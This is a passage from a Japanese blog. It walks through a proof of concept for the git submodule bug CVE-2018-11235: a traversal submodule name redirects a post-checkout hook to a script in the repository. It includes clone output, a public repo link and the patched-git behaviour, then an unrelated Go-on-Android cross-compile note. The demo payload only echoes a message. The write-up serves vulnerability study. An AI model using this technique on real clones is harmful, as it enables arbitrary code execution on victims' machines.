に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、

evil_repo/.git/modules/../../modules/evil/hooks/post-checkout
# つまり以下のパス
evil_repo/modules/evil/hooks/post-checkout 

と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。

また、post-checkoutの内容はこのようになっています。

$ cat evil_repo/modules/evil/hooks/post-checkout
#!/bin/sh
echo >&2 "RUNNING POST CHECKOUT"

動作確認

./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。

$ ./CVE-2018-11235.sh
・・・
$ git clone --recurse-submodules evil_repo test
Cloning into 'test'...
done.
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil'
Cloning into '/private/tmp/test/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
RUNNING POST CHECKOUT
Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

終わりの方で、 RUNNING POST CHECKOUT と出力されていることがわかりますね!

GitHubは対策されてた。すごい!

GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!

$ git remote add origin git@github.com:otms61/CVE-2018-11235.git
$ git push origin master
Counting objects: 47, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (34/34), done.
Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done.
Total 47 (delta 1), reused 0 (delta 0)
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly

他のところはあげられたので、試したいという方は以下でも試すことはできます。

otameshi61 / CVE-2018-11235 / source / — Bitbucket

echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST
RUNNING POST CHECKOUT

対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。

$ git --version
git version 2.17.1

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1
Cloning into 'cve-2018-11235'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

感想

発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。

kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com

今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com

ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。

おしまい。

GoでAndroidのコマンドラインツールをビルドする方法

AndroidのRoot化端末などでコマンドラインツールを作りたい時にGoを使いたくて少しはまったので、その時のメモです。

ビルドするマシンは、macOS 10.13.4で、動作確認するAndroidは、HUAWE MediaPad M5のAndroid 8.0.0です。

package main

import "fmt"

func main() {
  fmt.Printf("Hello World\n")
}

ビルドするときのオプションで、armを指定します。クロスコンパイル時にはCGOデフォルトで切られているそうですが、オプションでも指定しておきます。

cgo - The Go Programming Language

$ GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=0 go build
$ ls
hello   main.go
$ file hello
hello: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
$ adb push hello /data/local/tmp/
[100%] /data/local/tmp/hello
$ adb shell /data/local/tmp/hello
Hello World
$